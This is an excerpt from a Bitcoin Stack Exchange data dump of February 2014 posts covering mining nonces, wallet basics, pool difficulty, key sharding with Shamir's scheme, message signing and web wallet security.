  <row Id="21733" PostTypeId="1" AcceptedAnswerId="21741" CreationDate="2014-02-06T13:51:25.010" Score="0" ViewCount="58" Body="&lt;p&gt;I have installed bitcoin-qt version 4.6.2 through the &lt;code&gt;ppa:bitcoin/bitcoin&lt;/code&gt; ubuntu repository.  I can't set a pass-phrase because it requires a value as the old pass-phrase.  I have never created an old pass-phrase though.&lt;/p&gt;&#xA;" OwnerUserId="12385" LastActivityDate="2014-02-06T16:22:24.643" Title="New Bitcoin-Qt install but can't set passphrase" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-06T21:42:57.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="21734" PostTypeId="1" CreationDate="2014-02-06T13:53:22.633" Score="1" ViewCount="1652" Body="&lt;p&gt;When the miner program start, the value of nonce is zero or a random number? Which of them is better?&lt;/p&gt;&#xA;" OwnerUserId="13166" LastActivityDate="2017-10-09T10:00:35.017" Title="What value should nonce be when mining bitcoin ?" Tags="|nonce|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21735" PostTypeId="2" ParentId="21734" CreationDate="2014-02-06T13:58:53.993" Score="4" Body="&lt;p&gt;This is essentially like asking: &quot;When buying a lottery ticket is it better to have a zero or a random number in my lottery number?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reality is that it actually doesn't matter because it's an entirely random process, just like winning the lottery.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-06T13:58:53.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21736" PostTypeId="2" ParentId="21654" CreationDate="2014-02-06T13:59:18.687" Score="0" Body="&lt;p&gt;Thanks.&#xA;emailed progranism - no response&#xA;Tested every plain Javacsript miner claimed to work,&#xA;none worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&#xA;Download the full source code. You need a Google App Engine application defined and ready for code to be uploaded. Modify the app.yaml according to your application name, rename or copy config.py.sample to config.py and modify it to use your pool credentials. Open the &quot;ninja&quot; w.html page in your app path and you're off to mine!&#xA;&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need Google App Engine for my block hashing algorithm in plain JS.&#xA;Now I need to run getJSON to get block headers from blockchain.info via API&#xA;(failed to work, since I don't run web server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are exactly right.&#xA;Block hashing in plain JS is exactly for edu purposes ( off-line mode),&#xA;to verify blocks hashed in the past and learn more about Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never seen ByteSwap, binarystring2hexstring , hexstring2binary string,&#xA;littleEndian implemented in plain Javascript to work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just test any JS code from any website, claimed to work.&lt;/p&gt;&#xA;" OwnerUserId="13054" LastActivityDate="2014-02-06T13:59:18.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21737" PostTypeId="2" ParentId="21734" CreationDate="2014-02-06T14:52:02.213" Score="4" Body="&lt;p&gt;It doesn't matter where you start. The block you're hashing is unique because it's the only one that includes the mining bounty (new coins and transaction fees) being payed to your address. A timestamp is also included, so every second, you could start the nonce over at 0 and increment.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-06T14:52:02.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21738" PostTypeId="2" ParentId="21720" CreationDate="2014-02-06T14:56:32.270" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/join/514b7813555892e90f0000bf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase&lt;/a&gt; is now the best place to buy Litecoin in Canada. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2017-12-21T20:29:02.307" LastActivityDate="2017-12-21T20:29:02.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21739" PostTypeId="1" AcceptedAnswerId="21740" CreationDate="2014-02-06T15:38:07.097" Score="2" ViewCount="2117" Body="&lt;p&gt;I am building a site with python/django, running bitcoind in the background. I need to constantly check all addresses in the wallet to do a sql insert statement to my database whenever an incoming transaction is received, and maybe send some funds out in certain cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site is working ok, and I wrote a python script that runs separate and uses a simple while true loop to achieve this. The problem is, when the script is running, it takes up too much memory and the site times out when I reload it. How to avoid this? I really need a background process running at all times. I am trying to use threading in the script, but it still seems to hog too much memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about running bitcoind with the same wallet and the script on a separate computer, but I heard that is a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-02-06T15:50:08.570" Title="Constantly monitor bitcoin wallet using Python/Django?" Tags="|transactions|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21740" PostTypeId="2" ParentId="21739" CreationDate="2014-02-06T15:50:08.570" Score="3" Body="&lt;p&gt;Use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=203438.0&quot; rel=&quot;nofollow&quot;&gt;wallet notify&lt;/a&gt;. You can set it in your &lt;code&gt;bitcoin.conf&lt;/code&gt; file and have it call some python or django script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or another solution would be to constantly poll for new transactions, though I would not recommend this.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-02-06T15:50:08.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21741" PostTypeId="2" ParentId="21733" CreationDate="2014-02-06T16:22:24.643" Score="3" Body="&lt;p&gt;Don't use that version. The client has hard forked since then, meaning that client is no longer viable for user on the network. On Linux I recommend you download source and compile the current version 0.8.6 at this time.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-06T16:22:24.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21742" PostTypeId="2" ParentId="21734" CreationDate="2014-02-06T16:24:22.727" Score="2" Body="&lt;p&gt;Mining programs typically start with a nonce of 0 and then increment after every attempt.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-06T16:24:22.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21743" PostTypeId="2" ParentId="21732" CreationDate="2014-02-06T16:47:00.593" Score="3" Body="&lt;p&gt;This is part of strategy known as &quot;Defense in Depth.&quot;  Each layer does not presume that the layers before or after it are certain to be secure, and takes measures to ensure security and verify security.  HMAC signatures are one of those measures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A HMAC signature preserves the integrity of the query so that a 0.1BTC purchase doesn't get changed to a 1.0BTC regardless of the security of the HTTPS transport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protections granted by SSL/HTTPS/TLS are not absolute and do have some clever attacks. In addition to some non-clever attacks such as the private key of the other side of the transaction being known to some third party (either by malice, hackers, or force of law).  The same goes for other parameters needed for the integrity of the communication.  There have been experimental Man in the Middle attacks where SSL transactions have been altered.  The math wasn't broken, but other clever configuration changes were done. So the weak link there is people.&lt;/p&gt;&#xA;" OwnerUserId="13171" LastActivityDate="2014-02-06T16:47:00.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21744" PostTypeId="2" ParentId="21720" CreationDate="2014-02-06T17:16:58.813" Score="1" Body="&lt;p&gt;Another option would be to use &lt;a href=&quot;https://ripple.com&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Canada, one of the best/easiest ways to get money into Ripple is via &lt;a href=&quot;https://rippleunion.com&quot; rel=&quot;nofollow&quot;&gt;RippleUnion&lt;/a&gt;¹. The way this would work is that you'd:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/client/#register&quot; rel=&quot;nofollow&quot;&gt;Create a Ripple wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use one of RippleUnion's funding mechanisms (e.g. using a credit card with their &lt;a href=&quot;https://giftcards.rippleunion.com/&quot; rel=&quot;nofollow&quot;&gt;gift card exchange program&lt;/a&gt;, using their upcoming Interac e-Transfers, or contacting them for larger amounts). They will send you enough XRP to fund your Ripple wallet and then send you CAD/RippleUnion. Alternatively you could use another Ripple gateway to get something else into Ripple (e.g. there are many Bitcoin Ripple gateways).&lt;/li&gt;&#xA;&lt;li&gt;Select one of the Ripple gateways that support Litecoin, e.g. &lt;a href=&quot;https://dividendrippler.com&quot; rel=&quot;nofollow&quot;&gt;DividendRippler&lt;/a&gt; or &lt;a href=&quot;https://justcoin.com&quot; rel=&quot;nofollow&quot;&gt;JustCoin&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Possibly make a trade offer in Ripple from the funds you got in step 2 (e.g. CAD/RippleUnion) into LTC at the gateway you picked (e.g. LTC/DividendRippler or LTC/JustCoin). &lt;strong&gt;This step completely optional!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Follow the instructions at the Litecoin Ripple gateway you chose to make a LTC payment within Ripple to them. If you completed step 4, you'd just send the LTC you traded for; if you skipped that step, Ripple will find the best path to convert your current Ripple balances into LTC using the current best market offers.&lt;/li&gt;&#xA;&lt;li&gt;For DividendRippler you're done; they will immediately initiate a Litecoin transaction and send your LTC to the Litecoin address you've configured with them. For other gateways, like JustCoin, you need to log into the gateway and withdraw your Litecoin as you would with an exchange.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For repeated use, once setup, it can be as simple as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send CAD funds to RippleUnion.&lt;/li&gt;&#xA;&lt;li&gt;Make a LTC payment within Ripple to your DividendRippler withdrawal address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;¹ &lt;em&gt;Disclaimer: Although I'm not currently affiliated with RippleUnion I know the operators.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-02-06T17:16:58.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21745" PostTypeId="2" ParentId="3359" CreationDate="2014-02-06T17:44:56.823" Score="2" Body="&lt;p&gt;Most of us will probably want our bitcoins to go on to our family members when we die.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're the only one with access to your private key, however, that is unfortunately impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution to this is to &quot;shard&quot; your private key into shares and distribute those shares to various members of your family. With Shamir's Secret Sharing Scheme, you can require that M shares of the N total shares created be required to reconstruct the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very straightforward, easy to read python implementation of Shamir's Secret Sharing: &lt;a href=&quot;https://github.com/rxl/secret-sharing&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rxl/secret-sharing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do to shard your private key is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from secretsharing import BitcoinToB32SecretSharer&#xA;&amp;gt;&amp;gt;&amp;gt; shares = BitcoinToB32SecretSharer.split_secret(&quot;5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&quot;, 3, 5)&#xA;['B-RJ6Y56OSUWDY5VAAGC6XLSTM64CAJ2LPBNB7NKATJCWC7VSHIP5DQIVMR6OGJ4GB', 'C-CT5R24XAR5B732JWYQKSYOYBSF5VHI73HLY24QCFRJR5XUW64C4JWYN6SRGWVCUG', 'D-T54KX27OPEAGZ7TNK5WOFK4WFPZKEXUHNKPWLWDXZQNYPT3WPV3P5IGQTD7HAJDG']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, 3 out of 5 of your family members would have to come forth upon your death and combine their shares in order for your private key (and your bitcoins) to be recovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process for recovering private keys would be as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; BitcoinToB32SecretSharer.recover_secret(shares[0:3])&#xA;'5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-05-30T15:23:53.833" LastActivityDate="2014-05-30T15:23:53.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21749" PostTypeId="1" AcceptedAnswerId="21759" CreationDate="2014-02-06T19:20:09.893" Score="0" ViewCount="489" Body="&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The pool sends a mining.set_difficulty message with difficulty = 8.&lt;/li&gt;&#xA;&lt;li&gt;The miner ignores the message and submits shares that qualify at&#xA;difficulty = 1.&lt;/li&gt;&#xA;&lt;li&gt;Most shares will be rejected by the pool with error = high-hash.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: what is the cost of submitting shares that get rejected? Are the accepted shares as valuable with an acceptance rate of 5% as if they were submitted with an acceptance rate of 100%?&lt;/p&gt;&#xA;" OwnerUserId="13174" LastActivityDate="2014-02-06T20:57:36.247" Title="Ignoring the difficulty set by the pool" Tags="|mining-pools|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21752" PostTypeId="1" CreationDate="2014-02-06T19:47:45.997" Score="1" ViewCount="191" Body="&lt;p&gt;I'm trying to get involved in bitcoins, but first it seems I need further clarification on the concepts involved in bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First let me clarify what I know (at least what I believe to be correct): miners race to solve mathematical problems, and whoever (or whatever pool) manages to solve the most complex block at a given time is awarded the bitcoins to their wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what I want to know is, what exactly makes a wallet wallet? Other than providing an address, what does it do? A pair of cryptographic keys make up a wallet, which I understand, is used to transact the bitcoins associated with an address; but is that all? Other than safeguarding the private key, is there anything else to mind about a wallet, i.e. does it record anything else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find anything explanatory aside from the key-pair mention on the Wikipedia article, and I do not have enough technical expertise to go through the bitcoin protocol to understand the concepts. Please help me with understanding wallets.&lt;/p&gt;&#xA;" OwnerUserId="13177" LastActivityDate="2014-02-06T20:51:17.087" Title="What is the role of bitcoin wallets?" Tags="|wallet|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21754" PostTypeId="2" ParentId="21752" CreationDate="2014-02-06T19:57:49.903" Score="0" Body="&lt;p&gt;You are correct on the Mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet provides a secure place to store your bitcoins but it can also be more. You can encrypt messages with your bitcoin address and send it to someone. This will show the reciever that you are the holder of that bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, The main purpose is to send and receive bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-06T19:57:49.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21755" PostTypeId="2" ParentId="21752" CreationDate="2014-02-06T19:59:03.613" Score="0" Body="&lt;p&gt;Wallets don't exist, simply put, for each address you have a public and private key, a wallet is just a local ledger of all of these. Some people use multiple different wallets for different places they've received bitcoins (And/or different aliases, such as Work, Online, Investment, etc...), but, to anyone's eye's past yours (And your bitcoin client), the wallet doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses are really the only thing that exist, and, a wallet is just a local collection of said addresses, as, not to confuse them with other addresses for different uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:- Just a note, if you own the public/private keys to multiple addresses, you can combine then on a transaction, it's not like a bank where if you need to pay half on one 'account' (address), and, half on another, you have to send two payments, you can just create a transaction referencing both, then, sign it with both private keys. In fact, the addresses don't even have to be on the same wallet, if me and my friend want to go 50/50 on a subscription fee for watchvideoswithbitcoins.tld, then, I can create a transaction referencing his TXIN (transaction input, where he got money) and the same for mine, sign it with my address, then, give him the transaction (Which at this point is still invalid, as, only one of the two inputs agree to pay) and let him sign his part of the transaction, then broadcast it. Currently, however, lots of people assume &quot;Oh, if you signed both you must both be the same owner&quot;, which, is what &quot;coinjoin&quot; is based on:-&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=279249.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13181" LastEditorUserId="13181" LastEditDate="2014-02-06T20:04:14.040" LastActivityDate="2014-02-06T20:04:14.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21758" PostTypeId="2" ParentId="21752" CreationDate="2014-02-06T20:51:17.087" Score="2" Body="&lt;p&gt;A wallet is merely a collection of pairs of private/public keys. Every normal Bitcoin address is just a hash of a public key. The corresponding private key is needed to sign transactions that spend coins from the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So wallet security really is all about protecting your private keys - making sure you have access to them, and nobody else does. There are several ways to do this. A basic client software manages a wallet file for you and uses the keys within to sign transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more advanced address that correspond to multisig or other scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re mining - almost true, instead of the miner finding the most complex block winning, every miner finding a sufficiently difficult block is rewarded. What is considered &quot;sufficiently difficult&quot; changes periodically.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-02-06T20:51:17.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21759" PostTypeId="2" ParentId="21749" CreationDate="2014-02-06T20:57:36.247" Score="2" Body="&lt;p&gt;The pool will typically ignore invalid shares. They should have no effect on shares that are actually accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools might consider excessive submission of invalid shares abusive, especially if done at high rates. The point of an increased difficulty is precisely to avoid this. So you might find you get suspended or disconnected. But most pools would probably just tolerate it unless it actually caused them an operational issue.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-06T20:57:36.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21761" PostTypeId="2" ParentId="18954" CreationDate="2014-02-06T23:19:13.180" Score="1" Body="&lt;p&gt;It's a bit janky, but I've finally found a solution to this situation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Download this driver &lt;a href=&quot;http://ftp.hp.com/pub/softpaq/sp57501-58000/sp57510.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;sp57510.exe&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Attempt to run the installer - it will eventually get to a point and then fail. When it gets to the point that it tells you 'Unsupported System' with an OK button, don't press OK just yet. Open /appdata/local/temp. In there, find the most recently created folder. It's contents should look like this:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iTxk8.png&quot; alt=&quot;folder contents&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go into the /src/ folder, and you should find an ATI Setup.exe. Run that. My driver was up to date, but it did add the AMD APP SDK stuff and now CPU-Z reports that OpenCL is available, and cgminer is chugging away.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13186" LastActivityDate="2014-02-06T23:19:13.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21762" PostTypeId="1" AcceptedAnswerId="21774" CreationDate="2014-02-06T23:25:04.610" Score="1" ViewCount="1688" Body="&lt;p&gt;I normally keep only small amounts in a web wallet because I heard that web wallets are not secure. The rest of my Bitcoins are kept in cold storage in my safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just wondering if you have any experience with web wallets, if they have gotten hacked and/or if you think I should worry about it.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastEditorUserId="2995" LastEditDate="2014-02-07T07:48:38.443" LastActivityDate="2018-02-12T19:21:31.880" Title="Are Web Wallets Secure?" Tags="|wallet|security|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21764" PostTypeId="2" ParentId="20059" CreationDate="2014-02-07T00:18:42.847" Score="-1" Body="&lt;p&gt;There is no command in bitcoind to view the balance of a single wallet. Your best luck is setting up a script with cURL that gets the data from api.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastEditorUserId="13092" LastEditDate="2014-02-07T13:14:04.567" LastActivityDate="2014-02-07T13:14:04.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21766" PostTypeId="2" ParentId="3614" CreationDate="2014-02-07T00:36:40.303" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.cointouch.com/&quot; rel=&quot;nofollow&quot;&gt;CoinTouch&lt;/a&gt; (my site) puts  you in touch with find friends of friends that want to trade bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinTouch shows offers to buy and sell within your extended social network. Prices are pegged to market rates (MtGox or CoinDesk), at your chosen spread, and thus automatically update every minute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no fees, no delays and no BS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinTouch can price in all major world currencies. More altcoins coming soon. Currently supports Facebook login - Google and LinkedIn coming soon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback, please drop me a tweet &lt;a href=&quot;http://www.twitter.com/cointouch&quot; rel=&quot;nofollow&quot;&gt;@cointouch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, and I hope you find the site useful&lt;/p&gt;&#xA;" OwnerUserId="5919" LastEditorUserId="5919" LastEditDate="2014-02-11T16:51:44.837" LastActivityDate="2014-02-11T16:51:44.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21767" PostTypeId="1" CreationDate="2014-02-07T01:48:03.077" Score="0" ViewCount="637" Body="&lt;p&gt;In bitcoinQT what is the sign message for? I'm not exactly sure what I can use this for. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;can someone give an example of how this would be used in a layman way? nothing too technical please.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;also those this message only reside on your computer or your wallet file? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;so it doesnt go into the blockchain?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-02-07T11:30:53.567" Title="How do bitcoin qt sign signature/messages work?" Tags="|bitcoin-core|message-signing|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-09T21:07:27.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="21768" PostTypeId="2" ParentId="21767" CreationDate="2014-02-07T03:14:07.697" Score="0" Body="&lt;p&gt;I have only used Multibit, but I assume it works the same that Bitcoin QT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You sign a message to prove that you own an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say Alice has address 123456, and is requesting a payment because she's selling something online. But then Bob doesn't trust her, and asks: “How do I know this is your address”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then she writes a message, for example: “This is my address and you can trust me”, and then she signs it with her private key (567890).&#xA;The signed message would look something like “ruXtsauy190ZaSzBoISR=”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Bob can verify the message using her address (123456), and if the verification is correct, then Bob can trust Alice and proceed with the purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message is never stored in the blockchain. You should send this via email, IM, etc.&lt;/p&gt;&#xA;" OwnerUserId="3919" LastActivityDate="2014-02-07T03:14:07.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21769" PostTypeId="1" AcceptedAnswerId="22100" CreationDate="2014-02-07T03:58:37.160" Score="16" ViewCount="23563" Body="&lt;p&gt;I understand the following&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pooled mining is a mining approach where multiple generating clients&#xA;  contribute to the generation of a block, and then split the block&#xA;  reward according the contributed processing power. Pooled mining&#xA;  effectively reduces the granularity of the block generation reward,&#xA;  spreading it out more smoothly over time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does it work under the hood? What does the mining pool server do in terms of computation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do the mining workers do differently then if they would be mining solo?&lt;/p&gt;&#xA;" OwnerUserId="13140" LastEditorUserId="5406" LastEditDate="2016-03-11T15:00:30.130" LastActivityDate="2018-01-06T00:32:35.773" Title="How do mining pools work?" Tags="|mining-pools|solo-mining|mining-pool-shares|pool-payout-methods|mining-technical-details|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21770" PostTypeId="1" CreationDate="2014-02-07T05:26:19.417" Score="4" ViewCount="2159" Body="&lt;p&gt;I know that bitcoind is written in C++, but I cannot figure out how to use its API within my program. I have been using a Python wrapper effectively, but I need another process running that is as quick as possible. Is there a library somewhere for bitcoind? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or could you just point me to a good Json-rpc library?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="10229" LastEditDate="2014-02-07T06:11:28.933" LastActivityDate="2019-05-28T07:03:09.103" Title="How to interact with bitcoind using C++?" Tags="|transactions|bitcoind|c++|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21771" PostTypeId="2" ParentId="19058" CreationDate="2014-02-07T06:06:10.043" Score="0" Body="&lt;p&gt;Ive been getting ~127kh/s with&#xA;-I 19 -g 3 -w 256 --thread-concurrency 2400&#xA;Half the time Cgminer wont boot, And the room its in is around -10C with a desk fan full blast on it, And the card still reaches 50C &lt;/p&gt;&#xA;" OwnerUserId="13196" LastActivityDate="2014-02-07T06:06:10.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21772" PostTypeId="1" CreationDate="2014-02-07T06:17:12.360" Score="1" ViewCount="964" Body="&lt;p&gt;I remember seeing a question a while back about how to code your own cryptocurrency here:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19287/how-to-fork-bitcoin-and-build-own-cryptocurrency&quot;&gt;How to fork Bitcoin and build own cryptocurrency&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it seems to suffer from a lack of in-depth information of how&#xA;to &quot;start&quot; the currency in the network. I was wondering what it would take to&#xA;implement a new Proof-of-Work/Proof-of-Stake and how to actually get the entire&#xA;currency &quot;started&quot;. &lt;/p&gt;&#xA;" OwnerUserId="13192" LastEditorUserId="51005" LastEditDate="2017-12-26T18:50:35.357" LastActivityDate="2017-12-26T18:50:35.357" Title="Cryptocurrency from Scratch?" Tags="|development|currencies|" AnswerCount="0" CommentCount="4" ClosedDate="2020-05-06T08:14:38.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="21774" PostTypeId="2" ParentId="21762" CreationDate="2014-02-07T07:36:02.393" Score="3" Body="&lt;p&gt;With web wallets you need to be careful. As you stated, if they get hacked and they store your private keys, your Bitcoins are at risk. You really just need to ask yourself: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how risk adverse are you? &lt;/li&gt;&#xA;&lt;li&gt;can you afford to lose your coins? &lt;/li&gt;&#xA;&lt;li&gt;does the convenience of a web wallet outweigh the risks?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2014-02-07T07:36:02.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21778" PostTypeId="1" CreationDate="2014-02-07T09:13:10.910" Score="0" ViewCount="2217" Body="&lt;p&gt;I had to refresh my computer do to updates and all my installed software such as Bitcoin wallet was gone after the process. I did back up my wallet almost everyday and also I did it on a external hard-drive, but when I re-install the Bitcoin wallet from bitcoin.org it give me a new receiving address and even if I have all back -up data and my previous receiving bit coin wallet where all my bit coins I have purchased were I do not know why is it not showing it in my new wallet. I have tried to recover and open my back up wallet files but it does not show my Bitcoins. Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did watch the recovery do to a failed hard drive but I can not access the files and I do not know how to get my Bitcoins from my old receiving wallet which I backed up on 2 places.&lt;/p&gt;&#xA;" OwnerUserId="13199" LastEditorUserId="13092" LastEditDate="2014-02-07T15:25:55.600" LastActivityDate="2014-02-07T15:25:55.600" Title="How do I get my purchsed bitcoins from a old bitcoin wallet?" Tags="|wallet.dat|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-11T12:01:54.060" ContentLicense="CC BY-SA 3.0" />
